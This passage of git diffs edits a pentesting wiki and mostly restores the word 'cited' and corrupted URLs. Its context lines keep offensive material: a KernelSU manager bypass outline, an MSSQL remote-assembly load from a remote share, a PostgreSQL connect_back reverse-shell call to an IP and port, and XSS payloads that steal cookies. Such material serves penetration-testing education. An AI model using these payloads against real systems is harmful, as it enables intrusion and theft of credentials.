pointer that begins anywhere within the space block, Bash can parse the remaining leading blanks until it reaches the command; in the cited router exploit, this made uncertain string offsets usable.[[5]](#references)[[7]](#references) Practical use cases in constrained embedded targets include:[[5]](#references) @@ -366,7 +366,7 @@ Practical use cases in constrained embedded targets include:[[5]](#referenc 2. Payload channels where the attacker cannot write NULL bytes to align the payload (a general adaptation of the alignment problem).[[5]](#references) 3. Embedded devices with a small BusyBox `ash`/`sh` environment, which BusyBox documents as applets in resource-constrained systems.[[10]](#references) -> 🛠️ Combine this technique with ROP gadgets that call `system()` in a controlled lab; the d router research demonstrates this combination on constrained hardware.[[5]](#references) +> 🛠️ Combine this technique with ROP gadgets that call `system()` in a controlled lab; the cited router research demonstrates this combination on constrained hardware.[[5]](#references) ## References diff --git a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md index c06efd034be..ce095589ec2 100644 --- a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +++ b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -66,7 +66,7 @@ The concrete KernelSU v0.5.7 case requires:[[1]](#references)[[3]](#referen --- ## Exploitation outline (KernelSU v0.5.7) -High-level steps (the d demo video shows the public proof of concept in operation):[[1]](#references)[[2]](#references)[[10]](#references) +High-level steps (the cited demo video shows the public proof of concept in operation):[[1]](#references)[[2]](#references)[[10]](#references) 1) Build a valid path to your own app data directory to satisfy prefix and ownership checks. 2) Place a genuine KernelSU Manager base.apk under `/data/app/` at a path containing your package string, then open it on a lower-numbered FD than your own base.apk. 3) Invoke prctl(0xDEADBEEF, CMD_BECOME_MANAGER, , ...) to pass the checks. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index e7d43f0e88f..8ec1645bfa5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -79,7 +79,7 @@ The hierarchy of a DMG file can be different based on the content. However, for ### Execution from public directories -If a pre- or post-installation script executes a file such as **`/var/tmp/Installerutil`** and an attacker can replace that file, the attacker can escalate privileges when the installer invokes it. The d talks and walkthrough show variants of this insecure external-script pattern.[[1]](#references)[[3]](#references)[[4]](#references) +If a pre- or post-installation script executes a file such as **`/var/tmp/Installerutil`** and an attacker can replace that file, the attacker can escalate privileges when the installer invokes it. The cited talks and walkthrough show variants of this insecure external-script pattern.[[1]](#references)[[3]](#references)[[4]](#references)
https://www.youtube.com/watch?v=iASSG0_zobQ

https://www.youtube.com/watch?v=kCXhIYtODBg

diff --git a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md index 43db447d52b..a2d638c3906 100644 --- a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md +++ b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md @@ -61,7 +61,7 @@ In an authorized lab, obtain the following files from a provisioned client and p ## Version-specific vulnerabilities -The affected versions and impacts below come from the d CVE records and vendor advisory; distribution backports may change package-level status.[[2]](#references)[[3]](#references)[[6]](#references) +The affected versions and impacts below come from the cited CVE records and vendor advisory; distribution backports may change package-level status.[[2]](#references)[[3]](#references)[[6]](#references) | CVE | Affected versions | Impact | Notes | |-----|-------------------|--------|-------| diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index f1477c32453..9147edbb08d 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -110,7 +110,7 @@ Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay work - Avahi reachable-assertion bugs CVE-2023-38469 through CVE-2023-38473 and the D-Bus-related CVE-2023-1981 can terminate `avahi-daemon` on affected distributions, disrupting service discovery until it restarts. The exact vectors differ; install the distribution's fixed Avahi package rather than treating the identifiers as one network exploit.[[12]](#references) - Cisco IOS XE Wireless LAN Controller mDNS gateway CVE-2024-20303 allows an unauthenticated adjacent WLAN attacker to send a sustained stream of crafted mDNS traffic, drive controller CPU high, and potentially disconnect AP tunnels. It is a disruptive DoS condition, not a general-purpose roaming primitive.[[4]](#references) - Apple mDNSResponder CVE-2024-44183 allowed a local app to cause denial of service. Apple addressed the logic error in iOS/iPadOS 18; consult the matching advisory for other Apple platform releases.[[5]](#references)[[15]](#references) -- Apple mDNSResponder CVE-2025-31222 was a local privilege-escalation correctness issue fixed in macOS Sequoia 15.5. Apple's advisory describes a local user impact; it is not a remote mDNS network exploit and the d macOS advisory does not establish iPhone impact.[[6]](#references)[[13]](#references) +- Apple mDNSResponder CVE-2025-31222 was a local privilege-escalation correctness issue fixed in macOS Sequoia 15.5. Apple's advisory describes a local user impact; it is not a remote mDNS network exploit and the cited macOS advisory does not establish iPhone impact.[[6]](#references)[[13]](#references) ### Browser/WebRTC mDNS considerations diff --git a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md index 88322fd6edf..98cd67638cb 100644 --- a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md +++ b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md @@ -122,7 +122,7 @@ Placing a symbolic link in *cupsd.conf*'s `Listen` directive can make `cupsd` (o 2. Disable `cups-browsed` and UDP/631 unless zeroconf printing is required. 3. Restrict TCP/631 to trusted subnets/VPN and enforce **TLS (ipps://)**. 4. Require **Kerberos/Negotiate** or certificate auth instead of anonymous printing. -5. Monitor logs: `/var/log/cups/error_log` with `LogLevel debug2` can reveal unsolid PPD downloads or suspicious filter invocations. +5. Monitor logs: `/var/log/cups/error_log` with `LogLevel debug2` can reveal unsolicited PPD downloads or suspicious filter invocations. 6. In high-security networks, move printing to a hardened, isolated print server that proxies jobs to devices via USB only. ## References diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index a6dab9ca54f..4cb73c19cc1 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -114,7 +114,7 @@ For `ldaps://` or successfully negotiated StartTLS, interception additionally re ### Bypass TLS SNI check -In the d environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) +In the cited environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index bcc49884338..12c86bc07c3 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -676,7 +676,7 @@ See [MSSQL user-defined function SQLHttp](../../pentesting-web/sql-injection/mss ### RCE with `autoadmin_task_agents` -According to the d research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) +According to the cited research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index 3796b7e56eb..b959fb62db4 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -350,7 +350,7 @@ Matching Modules ### Legacy SAP AS Java UME password hashes -With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The d research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) +With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The cited research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) - Test applicable known exploits (check Exploit-DB), including the old but noteworthy “SAP ConfigServlet Remote Code Execution” attack against SAP Portal: diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 82f221523bb..21e26f184b4 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} ## Overview -This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The d research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) +This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The cited research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple. @@ -286,7 +286,7 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b ## Throughput and Parallelism Notes - A single fuzzer process (shared auth/state) tends to be significantly more stable for ksmbd and still surfaces races/UAFs thanks to syzkaller’s internal async executor. -- The d setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) +- The cited setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) --- diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md index c8ff71a67a1..2fc6d059b99 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md @@ -105,7 +105,7 @@ Add the generated public key into your manifest.json to lock the ID: ## Forging Preferences integrity MACs (core bypass) -Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the d research.[[1]](#references)[[3]](#references) +Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the cited research.[[1]](#references)[[3]](#references) Extract the seed with GRIT pak_util[[2]](#references) and locate the seed container (file id 146 in tested builds): diff --git a/src/pentesting-web/h2c-smuggling.md b/src/pentesting-web/h2c-smuggling.md index 1d7623d97fe..c82737d0392 100644 --- a/src/pentesting-web/h2c-smuggling.md +++ b/src/pentesting-web/h2c-smuggling.md @@ -20,7 +20,7 @@ The vulnerability arises when, after upgrading a connection, the reverse proxy c #### Vulnerable Proxies -The vulnerability depends on how the reverse proxy handles `Upgrade` and `Connection`. The d research found the following proxies forwarded the relevant headers by default in the tested configurations:[[1]](#references)[[2]](#references) +The vulnerability depends on how the reverse proxy handles `Upgrade` and `Connection`. The cited research found the following proxies forwarded the relevant headers by default in the tested configurations:[[1]](#references)[[2]](#references) - HAProxy - Traefik @@ -60,7 +60,7 @@ In this scenario, a backend that offers a public WebSocket API alongside an inac 2. The backend responds with a status code `426`, indicating the incorrect protocol version in the `Sec-WebSocket-Version` header. The reverse proxy, overlooking the backend's response status, assumes readiness for WebSocket communication and relays the response to the client. 3. Consequently, the reverse proxy is misled into believing a WebSocket connection has been established between the client and backend, while in reality, the backend had rejected the Upgrade request. Despite this, the proxy maintains an open TCP or TLS connection between the client and backend, allowing the client unrestricted access to the private REST API through this connection. -The d research reproduced this scenario with Varnish and Envoy 1.8.0; later Envoy versions changed the upgrade mechanism. Test other proxies rather than assuming that they share the same behavior.[[3]](#references) +The cited research reproduced this scenario with Varnish and Envoy 1.8.0; later Envoy versions changed the upgrade mechanism. Test other proxies rather than assuming that they share the same behavior.[[3]](#references) ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png) diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index f087f6962a8..17fb9ce6088 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -357,6 +357,6 @@ print(" drop function connect_back(text, integer);") - [2] [Having Fun With PostgreSQL](https://www.exploit-db.com/papers/13084) - [3] [PostgreSQL documentation - C-Language Functions](https://www.postgresql.org/docs/current/static/xfunc-c.html) - [4] [Windows DLL to Shell PostgreSQL Servers](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) -- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html) +- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index b88fc1a96e5..302de220ccc 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -877,7 +877,7 @@ Some workflow builders evaluate user-controlled expressions inside Node sandboxe **More information** -- Slim uses the same Ruby SSTI payload collection d for ERB above; adapt the delimiters to the Slim rendering context. +- Slim uses the same Ruby SSTI payload collection cited for ERB above; adapt the delimiters to the Slim rendering context. ### Other Ruby diff --git a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md index dceebba63f5..674dc67ba57 100644 --- a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md +++ b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md @@ -4,7 +4,7 @@ ## Leak Script Content by Interpreting It as UTF-16 -If a `text/plain` response lacks the `X-Content-Type-Options: nosniff` header, a browser may accept it as a script. In the d challenge, an attacker-controlled prefix supplies a UTF-16 byte-order mark and valid JavaScript bytes. The remaining secret is then decoded as valid identifier characters, allowing the script to expose it through a property of `window`.[[1]](#references) +If a `text/plain` response lacks the `X-Content-Type-Options: nosniff` header, a browser may accept it as a script. In the cited challenge, an attacker-controlled prefix supplies a UTF-16 byte-order mark and valid JavaScript bytes. The remaining secret is then decoded as valid identifier characters, allowing the script to expose it through a property of `window`.[[1]](#references) ## Leak Content by Treating It as an ICO Image diff --git a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index 539abe8a1ce..fc655b7d530 100644 --- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -138,7 +138,7 @@ Fuzzing examples from [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:alert('XSS')) ![a'"`onerror=prompt(document.cookie)](x)\ -[lol]: (javascript:prompt(document.cookie)) +[citelol]: (javascript:prompt(document.cookie)) [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [test](javascript://%0d%0aprompt(1)) [test](javascript://%0d%0aprompt(1);com) diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index 1b1b54fbb40..3cd1809ad7e 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -27,7 +27,7 @@ Many services still run under user accounts with hand-managed passwords. The KDC | AES + PBKDF2 | PBKDF2-HMAC-SHA1 with 4,096 iterations and a per-principal salt generated from the domain + SPN | etype 17/18 (`$krb5tgs$17$`, `$krb5tgs$18$`) | ~6.8 million guesses/s | Salt blocks rainbow tables but still allows fast cracking of short passwords. | | RC4 + NT hash | Single MD4 of the password (unsalted NT hash); Kerberos only mixes in an 8-byte confounder per ticket | etype 23 (`$krb5tgs$23$`) | ~4.18 **billion** guesses/s | ~1000× faster than AES; attackers force RC4 whenever `msDS-SupportedEncryptionTypes` permits it. | -*Benchmarks from Chick3nman as d in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).[[3]](#references) +*Benchmarks from Chick3nman as cited in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).[[3]](#references) RC4’s confounder only randomizes the keystream; it does not add work per guess. Unless service accounts rely on random secrets (gMSA/dMSA, machine accounts, or vault-managed strings), compromise speed is purely GPU budget. Enforcing AES-only etypes removes the billion-guesses-per-second downgrade, but weak human passwords still fall to PBKDF2.[[3]](#references) diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md index a1e16221e46..f3eea43e465 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md +++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the d scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[[1]](#references)[[3]](#references) +This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the cited scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[[1]](#references)[[3]](#references) For a comprehensive understanding of wix MSI usage examples, it is advisable to consult [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Here, you can find various examples that demonstrate the usage of wix MSI.[[2]](#references) From b3d6b72342f2dd7d981ed9240e248c53d8ca24a3 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sat, 15 Aug 2026 11:37:58 +0200 Subject: [PATCH 3/3] Restore URLs corrupted by citation cleanup --- .../postgresql-injection/rce-with-postgresql-extensions.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index 17fb9ce6088..3a241e0a5b7 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -309,8 +309,8 @@ select connect_back('192.168.100.54', 1234); _Note that you don't need to append the `.dll` extension as the create function will add it._ -For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**[[5]](#references)\ -In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ +For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**[[5]](#references)\ +In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ In the same page this **exploit to automate** this technique was given:[[5]](#references) ```python